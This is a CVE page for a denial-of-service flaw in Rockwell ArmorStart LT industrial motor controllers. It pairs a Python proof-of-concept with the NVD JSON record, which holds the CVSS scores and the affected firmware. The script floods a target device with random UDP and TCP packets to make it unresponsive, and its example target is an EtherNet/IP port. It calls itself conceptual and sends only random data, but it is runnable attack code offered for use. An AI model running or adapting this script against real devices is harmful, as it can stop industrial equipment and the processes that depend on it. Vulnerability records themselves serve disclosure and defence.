CVE-2025-9280

#!/usr/bin/env python3 """ CVE-2025-9280 PoC - ArmorStart LT DoS Reference: https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1768.html Note: This is a conceptual PoC based on the vulnerability description (Defensics fuzzing) """ import socket import random import time def generate_fuzzed_packet(): """Generate fuzzed data packets similar to Defensics output""" # Generate random length fuzzed data length = random.randint(100, 1500) fuzzed_data = bytes([random.randint(0, 255) for _ in range(length)]) return fuzzed_data def send_fuzzing_packets(target_ip, target_port, count=100): """ Send fuzzed packets to trigger DoS condition Based on description: Defensics fuzzing causes device unresponsiveness """ print(f"[*] Starting fuzzing attack against {target_ip}:{target_port}") print(f"[*] Sending {count} fuzzed packets...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for i in range(count): fuzzed_packet = generate_fuzzed_packet() sock.sendto(fuzzed_packet, (target_ip, target_port)) if i % 10 == 0: print(f"[*] Sent {i}/{count} packets") time.sleep(0.01) # Also try TCP connection with fuzzed data print("[*] Attempting TCP fuzzing...") tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcp_sock.settimeout(5) try: tcp_sock.connect((target_ip, 80)) for _ in range(50): tcp_sock.send(generate_fuzzed_packet()) except: pass finally: tcp_sock.close() print("[+] Fuzzing completed. Check device responsiveness.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 3: print("Usage: python cve-2025-9280-poc.py <target_ip> <port>") print("Example: python cve-2025-9280-poc.py 192.168.1.100 44818") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) send_fuzzing_packets(target, port)

{"cve": {"id": "CVE-2025-9280", "sourceIdentifier": "[email protected]", "published": "2026-01-20T14:16:09.170", "lastModified": "2026-02-02T18:08:57.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security issue exists within ArmorStart® LT that can result in a denial-of-service condition. Fuzzing performed using Defensics causes the device to become unresponsive, requiring a reboot."}, {"lang": "es", "value": "Existe un problema de seguridad en ArmorStart® LT que puede resultar en una condición de denegación de servicio. El fuzzing realizado utilizando Defensics hace que el dispositivo deje de responder, requiriendo un reinicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:rockwellautomation:armorstart_lt_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.002", "matchCriteriaId": "564CE3DE-2D80-4511-B970-C644C7217F20"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:rockwellautomation:armorstart_lt:-:*:*:*:*:*:*:*", "matchCriteriaId": "E8AB2017-CB37-4A93-90FD-7FE82640FB77"}]}]}], "references": [{"url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1768.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}